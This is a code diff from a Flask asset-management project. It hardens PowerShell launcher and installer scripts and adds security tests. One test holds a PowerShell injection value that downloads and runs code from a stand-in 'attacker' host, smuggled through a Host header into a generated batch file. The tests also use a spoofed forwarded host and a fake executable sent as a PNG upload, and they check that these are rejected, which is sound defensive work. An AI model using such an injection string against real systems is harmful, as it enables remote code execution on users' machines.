--hash=sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e \ --hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \
--hash=sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661 --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c
# via pytest # via
# -c requirements.txt
# -r requirements.in
# pytest
pluggy==1.6.0 \ pluggy==1.6.0 \
--hash=sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3 \ --hash=sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3 \
--hash=sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746 --hash=sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746
@@ -735,9 +738,9 @@ pygments==2.20.0 \
--hash=sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f \ --hash=sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f \
--hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176 --hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176
# via pytest # via pytest
pyjwt==2.12.1 \ pyjwt==2.13.0 \
--hash=sha256:28ca37c070cad8ba8cd9790cd940535d40274d22f80ab87f3ac6a713e6e8454c \ --hash=sha256:41571c89ca91598c79e8ef18a2d07367d4810fbbd6f637794879baf1b7703423 \
--hash=sha256:c74a7a2adf861c04d002db713dd85f84beb242228e671280bf709d765b03672b --hash=sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728
# via # via
# -c requirements.txt # -c requirements.txt
# flask-jwt-extended # flask-jwt-extended
@@ -754,6 +757,7 @@ pytest==9.1.1 \
# -r requirements-dev.in # -r requirements-dev.in
# pytest-cov # pytest-cov
# pytest-flask # pytest-flask
# pytest-xdist
pytest-cov==7.1.0 \ pytest-cov==7.1.0 \
--hash=sha256:30674f2b5f6351aa09702a9c8c364f6a01c27aae0c1366ae8016160d1efc56b2 \ --hash=sha256:30674f2b5f6351aa09702a9c8c364f6a01c27aae0c1366ae8016160d1efc56b2 \
--hash=sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678 --hash=sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678
@@ -762,6 +766,10 @@ pytest-flask==1.3.0 \
--hash=sha256:58be1c97b21ba3c4d47e0a7691eb41007748506c36bf51004f78df10691fa95e \ --hash=sha256:58be1c97b21ba3c4d47e0a7691eb41007748506c36bf51004f78df10691fa95e \
--hash=sha256:c0e36e6b0fddc3b91c4362661db83fa694d1feb91fa505475be6732b5bc8c253 --hash=sha256:c0e36e6b0fddc3b91c4362661db83fa694d1feb91fa505475be6732b5bc8c253
# via -r requirements-dev.in # via -r requirements-dev.in
pytest-xdist==3.8.0 \
--hash=sha256:202ca578cfeb7370784a8c33d6d05bc6e13b4f25b5053c30a152269fd10f0b88 \
--hash=sha256:7e578125ec9bc6050861aa93f2d59f1d8d085595d6551c2c90b6f4fad8d3a9f1
# via -r requirements-dev.in
python-dotenv==1.2.2 \ python-dotenv==1.2.2 \
--hash=sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a \ --hash=sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a \
--hash=sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3 --hash=sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3

View File

@@ -19,7 +19,7 @@
GCM handles those. GCM handles those.
.PARAMETER Channel .PARAMETER Channel
'stable' (main) or 'edge' (dev-be). Defaults to 'stable'. 'stable' (the newest release tag) or 'edge' (main, the trunk). Defaults to 'stable'.
.PARAMETER TargetDir .PARAMETER TargetDir
Where to clone. Defaults to %USERPROFILE%\shopdb-dev, a separate working copy Where to clone. Defaults to %USERPROFILE%\shopdb-dev, a separate working copy
@@ -85,12 +85,28 @@ function Clear-InterruptedRun {
} }
} }
# A directory that exists but has no valid .git is a broken/partial clone; # A directory that exists but has no valid .git is a broken/partial clone -
# remove it so the clone below can start fresh instead of failing. # USUALLY. It is also what -TargetDir pointed at somebody's Documents folder
if ((Test-Path $Target) -and -not (Test-Path (Join-Path $Target '.git'))) { # looks like, and this ran Remove-Item -Recurse -Force on it without asking.
# For a script distributed as "save it anywhere and run it", a mistyped
# -TargetDir must not be able to delete a user's files.
#
# Only reclaim a directory this script can show it owns: empty, or carrying
# the marker written after a successful clone. Anything else stops.
if ((Test-Path $Target) -and -not (Test-Path (Join-Path $Target '.git'))) {
$ours = Test-Path (Join-Path $Target $script:CloneMarker)
$empty = -not (Get-ChildItem -LiteralPath $Target -Force |
Select-Object -First 1)
if ($ours -or $empty) {
Write-Host "==> Removing incomplete clone at $Target" -ForegroundColor Cyan Write-Host "==> Removing incomplete clone at $Target" -ForegroundColor Cyan
Remove-Item -Path $Target -Recurse -Force Remove-Item -Path $Target -Recurse -Force
} }
else {
throw ("$Target already exists, is not empty, and was not created " +
"by this launcher. Refusing to delete it. Pass -TargetDir " +
'pointing somewhere else, or remove it yourself if you are sure.')
}
}
# A clone created by an elevated (Administrator) run is owned by # A clone created by an elevated (Administrator) run is owned by
# BUILTIN\Administrators; a later non-elevated run then trips git's # BUILTIN\Administrators; a later non-elevated run then trips git's
@@ -104,8 +120,18 @@ function Clear-InterruptedRun {
try { $probe = git -C $Target rev-parse --is-inside-work-tree 2>&1 } catch { $probe = "$_" } try { $probe = git -C $Target rev-parse --is-inside-work-tree 2>&1 } catch { $probe = "$_" }
finally { $ErrorActionPreference = $previous } finally { $ErrorActionPreference = $previous }
if ($probe -match 'dubious ownership') { if ($probe -match 'dubious ownership') {
Write-Host "==> Removing clone with mismatched ownership at $Target (was it created from an elevated prompt?)" -ForegroundColor Cyan # Same rule as above: a .git directory proves this is a clone, but
Remove-Item -Path $Target -Recurse -Force # not that it is OUR clone, and re-cloning discards whatever is in
# it. Only reclaim one this launcher created.
if (Test-Path (Join-Path $Target $script:CloneMarker)) {
Write-Host "==> Removing clone with mismatched ownership at $Target (was it created from an elevated prompt?)" -ForegroundColor Cyan
Remove-Item -Path $Target -Recurse -Force
}
else {
throw ("The git clone at $Target has mismatched ownership and " +
'was not created by this launcher, so it is not being ' +
'deleted. Remove it yourself, or pass -TargetDir elsewhere.')
}
} }
} }
} }
@@ -114,7 +140,21 @@ function Clear-InterruptedRun {
# stored GitHub credential for github.com, so clone/fetch authenticate against # stored GitHub credential for github.com, so clone/fetch authenticate against
# the private repo without anything sensitive touching this script or disk. # the private repo without anything sensitive touching this script or disk.
$repoUrl = 'https://github.com/ge-aero/shopdb-flask.git' $repoUrl = 'https://github.com/ge-aero/shopdb-flask.git'
$branch = if ($Channel -eq 'edge') { 'dev-be' } else { 'main' } # Written into a clone this launcher made, so a later run can tell its own
# working directory apart from one that happens to sit at the same path.
$script:CloneMarker = '.shopdb-launcher'
# Channels follow how this repo ships: a release is a TAG, the trunk is main.
# Upstream this read 'dev-be' for edge, which is that repo's trunk branch and
# does not exist here - the launcher would have cloned a missing branch.
$branch = 'main'
if ($Channel -ne 'edge') {
# Newest release tag, so 'stable' means a thing that was released rather
# than whatever the trunk happens to be today.
$tag = (git ls-remote --tags --refs --sort='-v:refname' $repoUrl 'v*' |
Select-Object -First 1) -replace '.*refs/tags/', ''
if ($tag) { $branch = $tag }
else { Write-Warning "No v* tag found; falling back to main for 'stable'." }
}
$target = if ($TargetDir) { $TargetDir } else { Join-Path $env:USERPROFILE 'shopdb-dev' } $target = if ($TargetDir) { $TargetDir } else { Join-Path $env:USERPROFILE 'shopdb-dev' }
Write-Host "ShopDB dev launcher" -ForegroundColor White Write-Host "ShopDB dev launcher" -ForegroundColor White

View File

@@ -6,7 +6,7 @@
Produces ONE self-contained installer package for the requested channel: Produces ONE self-contained installer package for the requested channel:
stable -> built from 'main', no DEV badge (SHOPDB_ENV_LABEL empty). stable -> built from 'main', no DEV badge (SHOPDB_ENV_LABEL empty).
edge -> built from 'dev-be', red DEV badge (SHOPDB_ENV_LABEL=DEV). edge -> built from 'main' (the trunk), red DEV badge (SHOPDB_ENV_LABEL=DEV).
This is the distributable counterpart to scripts/dev-bootstrap.ps1 (which This is the distributable counterpart to scripts/dev-bootstrap.ps1 (which
stands a dev box up FROM the repo). Here the operator has no repo: the script stands a dev box up FROM the repo). Here the operator has no repo: the script
@@ -28,14 +28,14 @@
by branch, image tag, and label - all data, not code. by branch, image tag, and label - all data, not code.
.PARAMETER Channel .PARAMETER Channel
'stable' (main) or 'edge' (dev-be). Required. 'stable' (the newest release tag) or 'edge' (main, the trunk). Required.
.PARAMETER Version .PARAMETER Version
Image tag / bundle version. Defaults to a channel-prefixed date stamp so two Image tag / bundle version. Defaults to a channel-prefixed date stamp so two
channels built the same day never collide (e.g. 'stable-2024.06.01'). channels built the same day never collide (e.g. 'stable-2024.06.01').
.PARAMETER Ref .PARAMETER Ref
Override the git ref to build. Defaults to 'main' for stable, 'dev-be' for Override the git ref to build. Defaults to the newest v* tag for stable, 'main' for
edge. Lets a release engineer cut an installer from a tag or fix branch. edge. Lets a release engineer cut an installer from a tag or fix branch.
.PARAMETER MysqlImage .PARAMETER MysqlImage
@@ -80,12 +80,28 @@ param(
$ErrorActionPreference = 'Stop' $ErrorActionPreference = 'Stop'
# Channel -> (branch, badge label). The single source of channel truth, mirrored # Channel -> (ref, badge label). The single source of channel truth, mirrored
# from dev-bootstrap.ps1 so the two entry points never disagree about what a # from dev-bootstrap.ps1 so the two entry points never disagree about what a
# channel means. # channel means.
#
# stable has NO fixed ref: a release here is a tag, not a branch, so it is
# resolved below from the newest v* tag. Writing 'main' here would build the
# trunk and hand it to a site under a word that promises a release - the same
# mislabel this repo's channel mapping was corrected for, missed in this file
# the first time round.
$channels = @{ $channels = @{
stable = @{ Ref = 'main'; EnvLabel = '' } stable = @{ Ref = $null; EnvLabel = '' }
edge = @{ Ref = 'dev-be'; EnvLabel = 'DEV' } edge = @{ Ref = 'main'; EnvLabel = 'DEV' }
}
function Resolve-StableRef {
# Newest release tag by version sort. Falls back to main with a warning
# rather than silently building something and calling it stable.
$tag = (git tag --list 'v*' --sort='-v:refname' | Select-Object -First 1)
if ($tag) { return $tag }
Write-Warning 'No v* tag in this repo; building stable from main.'
return 'main'
}
} }
function Assert-LastExit([string]$What) { function Assert-LastExit([string]$What) {
@@ -100,7 +116,11 @@ if (-not (Get-Command git -ErrorAction SilentlyContinue)) {
} }
$config = $channels[$Channel] $config = $channels[$Channel]
$branch = if ($Ref) { $Ref } else { $config.Ref } # An explicit -Ref always wins. Otherwise the channel decides: edge is the
# trunk, stable resolves the newest release tag.
$branch = if ($Ref) { $Ref }
elseif ($config.Ref) { $config.Ref }
else { Resolve-StableRef }
if (-not $Version) { $Version = "$Channel-$(Get-Date -Format 'yyyy.MM.dd')" } if (-not $Version) { $Version = "$Channel-$(Get-Date -Format 'yyyy.MM.dd')" }
$appImage = "shopdb-flask:$Version" $appImage = "shopdb-flask:$Version"
@@ -271,8 +291,15 @@ Write-Host "==> Loading image bundle" -ForegroundColor Cyan
docker load -i $bundle.FullName docker load -i $bundle.FullName
if ($LASTEXITCODE -ne 0) { throw "docker load failed ($LASTEXITCODE)." } if ($LASTEXITCODE -ne 0) { throw "docker load failed ($LASTEXITCODE)." }
# -p is NOT optional here. Without it compose names the project after the
# containing folder, which is shopdb-<channel>-<version> - so installing the
# next version creates a NEW project with new empty named volumes, and the site
# comes up looking wiped. The old data is still there under the old project's
# volumes, but nothing carries it across. Pin the project to the channel so an
# upgrade lands on the same volumes.
$composeArgs = @( $composeArgs = @(
'compose', '--env-file', '.env', 'compose', '--env-file', '.env',
'-p', 'shopdb-__CHANNEL__',
'-f', 'docker-compose.airgap.yml', '-f', 'docker-compose.airgap.yml',
'-f', 'docker-compose.channel.yml' '-f', 'docker-compose.channel.yml'
) )
@@ -289,6 +316,11 @@ Write-Host "ShopDB is up: https://localhost:$apiPort" -ForegroundColor Green
Write-Host "Seed the first admin (once):" Write-Host "Seed the first admin (once):"
Write-Host " docker compose --env-file .env -f docker-compose.airgap.yml exec api flask seed admin <user> <email> <password>" Write-Host " docker compose --env-file .env -f docker-compose.airgap.yml exec api flask seed admin <user> <email> <password>"
'@ '@
# The here-string above is single-quoted so nothing in it interpolates - that
# is deliberate, the installer is full of $ that must survive verbatim. The
# compose project name is the one value that has to be baked per channel, so
# substitute it here rather than switching the whole block to interpolation.
$installer = $installer.Replace('__CHANNEL__', $Channel)
Set-Content -Path (Join-Path $pkgDir 'Install-ShopDB.ps1') -Value $installer -Encoding ASCII Set-Content -Path (Join-Path $pkgDir 'Install-ShopDB.ps1') -Value $installer -Encoding ASCII
# --- 6. README ---------------------------------------------------------- # --- 6. README ----------------------------------------------------------

View File

@@ -12,7 +12,7 @@
passed, because the app itself runs entirely in the container. passed, because the app itself runs entirely in the container.
2. Picks a channel: 2. Picks a channel:
stable -> pulls the 'stable' image (built from main), no DEV badge. stable -> pulls the 'stable' image (built from main), no DEV badge.
edge -> pulls the 'edge' image (built from dev-be), red DEV badge. edge -> pulls the 'edge' image (built from main), red DEV badge.
The two channels use different compose project names, host ports, and The two channels use different compose project names, host ports, and
named volumes, so they run side by side without colliding. named volumes, so they run side by side without colliding.
3. Generates a .env for the channel (dev-grade secrets, NOT for production) 3. Generates a .env for the channel (dev-grade secrets, NOT for production)
@@ -25,10 +25,10 @@
installer - see deploy/windows/installer/shopdb-install.ps1 for that. installer - see deploy/windows/installer/shopdb-install.ps1 for that.
.PARAMETER Channel .PARAMETER Channel
'stable' (main) or 'edge' (dev-be). Defaults to 'stable'. 'stable' (the newest release tag) or 'edge' (main, the trunk). Defaults to 'stable'.
.PARAMETER Ref .PARAMETER Ref
Override the git ref to build. Defaults to 'main' for stable, 'dev-be' for Override the git ref to build. Defaults to the newest v* tag for stable, 'main' for
edge. Retained for compatibility; the pull flow selects the image by channel edge. Retained for compatibility; the pull flow selects the image by channel
tag, so this now only affects which branch the working tree is prepared on. tag, so this now only affects which branch the working tree is prepared on.
@@ -74,7 +74,7 @@ $channels = @{
ImageTag = 'stable' ImageTag = 'stable'
} }
edge = @{ edge = @{
Ref = 'dev-be' Ref = 'main'
Project = 'shopdb-edge' Project = 'shopdb-edge'
ApiPort = 5011 ApiPort = 5011
MysqlPort = 3316 MysqlPort = 3316
@@ -282,10 +282,20 @@ try {
} else { } else {
# Dev-grade secrets: generated locally, never for production. A real # Dev-grade secrets: generated locally, never for production. A real
# deploy fills .env from the wiki runbook, not from this script. # deploy fills .env from the wiki runbook, not from this script.
$secret = [Convert]::ToBase64String((1..48 | ForEach-Object { Get-Random -Maximum 256 })) #
$jwt = [Convert]::ToBase64String((1..48 | ForEach-Object { Get-Random -Maximum 256 })) # Get-Random is System.Random: a 32-bit seed, and all four values came
$dbPass = [Convert]::ToBase64String((1..18 | ForEach-Object { Get-Random -Maximum 256 })) -replace '[^A-Za-z0-9]', 'x' # off one stream, so recovering the seed from any one of them recovers
$rootPass = [Convert]::ToBase64String((1..18 | ForEach-Object { Get-Random -Maximum 256 })) -replace '[^A-Za-z0-9]', 'x' # the other three. These sign JWTs for a stack a pilot may point at a
# real imported dataset, so they come from the CSPRNG instead. "Dev
# grade" is about rotation and provenance, not about being guessable.
$secret = [Convert]::ToBase64String(
[System.Security.Cryptography.RandomNumberGenerator]::GetBytes(48))
$jwt = [Convert]::ToBase64String(
[System.Security.Cryptography.RandomNumberGenerator]::GetBytes(48))
$dbPass = ([Convert]::ToBase64String(
[System.Security.Cryptography.RandomNumberGenerator]::GetBytes(18))) -replace '[^A-Za-z0-9]', 'x'
$rootPass = ([Convert]::ToBase64String(
[System.Security.Cryptography.RandomNumberGenerator]::GetBytes(18))) -replace '[^A-Za-z0-9]', 'x'
$apiPort = $config.ApiPort $apiPort = $config.ApiPort
$mysqlPort = $config.MysqlPort $mysqlPort = $config.MysqlPort
$image = "$imageRepo`:$($config.ImageTag)" $image = "$imageRepo`:$($config.ImageTag)"

View File

@@ -51,8 +51,12 @@ EXEMPT_ENDPOINTS = {'knowledgebase.track_click', 'users.update_user',
# docs/proposals/printedparts-plugin.md; justification in # docs/proposals/printedparts-plugin.md; justification in
# the plugin README. # the plugin README.
'printedparts.kiosk_take', 'printedparts.kiosk_take',
# Deliberately open kiosk writes, same bar as the parts # Deliberately open kiosk writes. NOT the same bar as the
# kiosk: they can ONLY move a USB device between # parts kiosk, and the difference is the point: these are
# additionally behind usb_kiosk_enabled, which the parts
# kiosk has no equivalent of, so a site that never turns
# them on serves 404s where printedparts serves a live
# write. They can ONLY move a USB device between
# checked-out and checked-in, and only when a site has set # checked-out and checked-in, and only when a site has set
# usb_kiosk_enabled (off by default - every one of these is # usb_kiosk_enabled (off by default - every one of these is
# a 404 until then). Identity is a scanned badge resolved # a 404 until then). Identity is a scanned badge resolved

View File

@@ -97,7 +97,9 @@ EXPECTED_HEAD_REVISION['warranty'] = 'warranty0002proof'
# seeds the reusable monitor catalog, 0007 ships the shopfloor monitor policy # seeds the reusable monitor catalog, 0007 ships the shopfloor monitor policy
# bundle, 0008 adds the warn-only reconciler drift cache column, and 0009 adds # bundle, 0008 adds the warn-only reconciler drift cache column, and 0009 adds
# the operatorreports table for tray issue reports. # the operatorreports table for tray issue reports.
EXPECTED_HEAD_REVISION['endpoints'] = 'endpoints0009opreports' # 0010 renames the shipped business policy off the originating site's
# designator on installs that already stamped 0007 (ADR-015).
EXPECTED_HEAD_REVISION['endpoints'] = 'endpoints0010renamepolicy'
# Plugins built after the cutover: their 0001 baseline really creates tables the # Plugins built after the cutover: their 0001 baseline really creates tables the
# core chain never owned. # core chain never owned.

View File

@@ -235,3 +235,51 @@ def test_retention_disabled_keeps_old_reports(client, db, app):
headers=_collector_headers(app)) headers=_collector_headers(app))
assert db.session.get(OperatorReport, old.operatorreportid) is not None assert db.session.get(OperatorReport, old.operatorreportid) is not None
# --- what the route refuses to store -----------------------------------------
#
# The stored file is served back as image/png, and the size cap is the only
# thing bounding what an agent key can push into the instance directory. Both
# guards used to be nominal: the cap was checked AFTER upload.read() had already
# pulled the whole body into memory, and the extension was forced to .png
# whatever the bytes were.
def test_upload_refuses_bytes_that_are_not_a_png(client, db, app):
from plugins.endpoints.models import OperatorReport
_computer(db, 'OPREPORT-NOTPNG')
data = {
'hostname': 'OPREPORT-NOTPNG',
'details': 'not really a screenshot',
'screenshot': (io.BytesIO(b'MZ\x90\x00 this is a PE, not an image'),
'shot.png'),
}
response = client.post(UPLOAD_URL, data=data,
content_type='multipart/form-data',
headers=_collector_headers(app))
assert response.status_code == 400
# Nothing was written: not the row, and not a file under the uploads dir.
assert OperatorReport.query.filter_by(
reportedhostname='OPREPORT-NOTPNG').first() is None
def test_upload_refuses_an_image_over_the_cap(client, db, app):
from plugins.endpoints.api.routes import OPERATOR_REPORT_MAX_IMAGE_BYTES
from plugins.endpoints.models import OperatorReport
_computer(db, 'OPREPORT-HUGE')
# A real PNG header so the size check is what rejects it, not the signature.
oversized = _png_bytes() + b'\x00' * (OPERATOR_REPORT_MAX_IMAGE_BYTES + 1)
data = {
'hostname': 'OPREPORT-HUGE',
'details': 'oversized',
'screenshot': (io.BytesIO(oversized), 'shot.png'),
}
response = client.post(UPLOAD_URL, data=data,
content_type='multipart/form-data',
headers=_collector_headers(app))
assert response.status_code == 400
assert 'limit' in response.get_json()['data']['error']['message']
assert OperatorReport.query.filter_by(
reportedhostname='OPREPORT-HUGE').first() is None

View File

@@ -197,3 +197,86 @@ def test_resolved_monitors_unknown_hostname_is_404(client, db, app):
response = client.get(RESOLVED_URL, query_string={'hostname': 'NOSUCHBOX'}, response = client.get(RESOLVED_URL, query_string={'hostname': 'NOSUCHBOX'},
headers=_collector_headers(app)) headers=_collector_headers(app))
assert response.status_code == 404 assert response.status_code == 404
# --- shipped rows are product-owned IDENTITY, not a fixed opinion about disks --
#
# The shipped bundle used to be uneditable in every field and attached to a
# hardcoded PC-type name. A plant whose eDNC sits on another drive, or whose
# type is called something else, could neither correct it nor turn it off, and
# then carried permanent false drift for it. ADR-015 allows seed data because a
# site can edit it afterwards.
def _shipped(db, displayname='eDNC', **kwargs):
from plugins.endpoints.models import EndpointMonitor
monitor = EndpointMonitor(
kind=kwargs.pop('kind', 'process'),
displayname=displayname,
processname=kwargs.pop('processname', 'DncMain'),
launchpath=kwargs.pop('launchpath', r'C:\Program Files\Dnc\bin\DncMain.exe'),
source='shipped', isactive=True, **kwargs)
db.session.add(monitor)
db.session.flush()
return monitor
def test_a_site_can_correct_a_shipped_monitors_launch_path(
client, db, auth_headers):
monitor = _shipped(db)
response = client.put(
'/api/endpoints/monitors/%d' % monitor.endpointmonitorid,
json={'launchpath': r'D:\Dnc\bin\DncMain.exe'}, headers=auth_headers)
assert response.status_code == 200
assert response.get_json()['data']['launchpath'] == r'D:\Dnc\bin\DncMain.exe'
def test_a_site_can_switch_off_a_shipped_monitor_it_does_not_run(
client, db, auth_headers):
monitor = _shipped(db, displayname='Universal Data Collector',
processname='UDC')
response = client.put(
'/api/endpoints/monitors/%d' % monitor.endpointmonitorid,
json={'isactive': False}, headers=auth_headers)
assert response.status_code == 200
assert response.get_json()['data']['isactive'] is False
def test_a_shipped_monitor_keeps_the_identity_the_policy_matches_on(
client, db, auth_headers):
"""0007 attaches its bundle by (kind, displayname), so those stay put."""
monitor = _shipped(db)
response = client.put(
'/api/endpoints/monitors/%d' % monitor.endpointmonitorid,
json={'displayname': 'Renamed'}, headers=auth_headers)
assert response.status_code == 403
assert monitor.displayname == 'eDNC'
# --- which PC type the shipped bundle attaches to is a setting ---------------
def test_shipped_monitors_follow_the_configured_pctype(client, db, app):
from plugins.endpoints.api.monitors import (
SHIPPED_PCTYPE_SETTING, _resolve_pctype_monitors)
_shipped(db)
Setting.set(SHIPPED_PCTYPE_SETTING, 'Shop Floor Workstation')
db.session.commit()
# The plant's own name for the type resolves the bundle...
assert [m.displayname for m in
_resolve_pctype_monitors('Shop Floor Workstation')] == ['eDNC']
# ...and the name this shipped with no longer does.
assert _resolve_pctype_monitors('Shopfloor PC') == []
def test_a_blank_shipped_pctype_attaches_the_bundle_to_nothing(client, db, app):
"""The neutral behaviour for a site that does not want the bundle: off,
rather than silently attached to whatever happens to match."""
from plugins.endpoints.api.monitors import (
SHIPPED_PCTYPE_SETTING, _resolve_pctype_monitors)
_shipped(db)
Setting.set(SHIPPED_PCTYPE_SETTING, '')
db.session.commit()
assert _resolve_pctype_monitors('Shopfloor PC') == []

View File

@@ -4,7 +4,7 @@ Migration endpoints0007shippedpolicy offloads the eDNC/UDC/MTConnect monitors
from the agent's hardcoded appsettings.json into a product-owned policy bundle: from the agent's hardcoded appsettings.json into a product-owned policy bundle:
a shipped ConfigurationPolicy "Shopfloor App Monitors" (global scope, one a shipped ConfigurationPolicy "Shopfloor App Monitors" (global scope, one
desired-state monitor action per shipped monitor) wrapped in a shipped desired-state monitor action per shipped monitor) wrapped in a shipped
BusinessPolicy "RPCA Shopfloor App Monitors". BusinessPolicy "Shopfloor App Monitors".
Run the endpoints chain against a fresh engine, alongside the computers policy Run the endpoints chain against a fresh engine, alongside the computers policy
tables the bundle writes into, and assert the bundle exists, is source='shipped' tables the bundle writes into, and assert the bundle exists, is source='shipped'
@@ -25,7 +25,7 @@ _ENDPOINTS_VERSIONS = _ROOT / 'plugins' / 'endpoints' / 'migrations' / 'versions
_COMPUTERS_VERSIONS = _ROOT / 'plugins' / 'computers' / 'migrations' / 'versions' _COMPUTERS_VERSIONS = _ROOT / 'plugins' / 'computers' / 'migrations' / 'versions'
CONFIG_POLICY_NAME = 'Shopfloor App Monitors' CONFIG_POLICY_NAME = 'Shopfloor App Monitors'
BUSINESS_POLICY_NAME = 'RPCA Shopfloor App Monitors' BUSINESS_POLICY_NAME = 'Shopfloor App Monitors'
def _load(path, prefix): def _load(path, prefix):

View File

@@ -102,3 +102,62 @@ def test_install_batch_resolves_vendor_via_model(
def test_install_batch_requires_ids(client, db, auth_headers, printer_assettype): def test_install_batch_requires_ids(client, db, auth_headers, printer_assettype):
resp = client.get('/api/printers/install-batch', headers=auth_headers) resp = client.get('/api/printers/install-batch', headers=auth_headers)
assert resp.status_code == 400 assert resp.status_code == 400
# --- the generated script is a script: what reaches it must be a hostname -----
#
# _batch_base_url() interpolates a request-supplied host into the single-quoted
# PowerShell -Uri literal of the .bat this route hands out, and site_base_url
# ships blank, so that fallback is the DEFAULT path rather than an edge case.
# A quote in the host would end the literal. These pin the three rules that stop
# it: validate the Host, only believe X-Forwarded-Host behind a declared proxy,
# and emit a relative base rather than a host we cannot vouch for.
INJECT = "evil';iex(iwr http://attacker/x);'"
def test_install_batch_refuses_a_host_that_is_not_a_hostname(
client, db, auth_headers, printer_assettype):
hp = _vendor(db, 'HP')
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
hostname='wjprn01', vendorid=hp.vendorid)
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
headers={**auth_headers, 'Host': INJECT})
assert resp.status_code == 200
bat = resp.get_data(as_text=True)
assert 'iex' not in bat
assert 'attacker' not in bat
# No host survived, so the download URL is relative rather than poisoned.
assert "-Uri '/installers/PrinterInstaller.exe'" in bat
def test_install_batch_ignores_forwarded_host_with_no_declared_proxy(
client, db, auth_headers, printer_assettype):
"""TRUSTED_PROXY_COUNT defaults to 0, so the header is caller-supplied and
must not be believed - the same rule clientip.py applies to
X-Forwarded-For."""
hp = _vendor(db, 'HP')
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
hostname='wjprn01', vendorid=hp.vendorid)
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
headers={**auth_headers,
'X-Forwarded-Host': 'attacker.example'})
assert resp.status_code == 200
bat = resp.get_data(as_text=True)
assert 'attacker.example' not in bat
def test_install_batch_uses_a_real_forwarded_host_behind_a_declared_proxy(
client, db, auth_headers, printer_assettype, app):
hp = _vendor(db, 'HP')
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
hostname='wjprn01', vendorid=hp.vendorid)
app.config['TRUSTED_PROXY_COUNT'] = 1
try:
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
headers={**auth_headers,
'X-Forwarded-Host': 'shopdb.example.net'})
bat = resp.get_data(as_text=True)
assert 'https://shopdb.example.net/installers/' in bat
finally:
app.config['TRUSTED_PROXY_COUNT'] = 0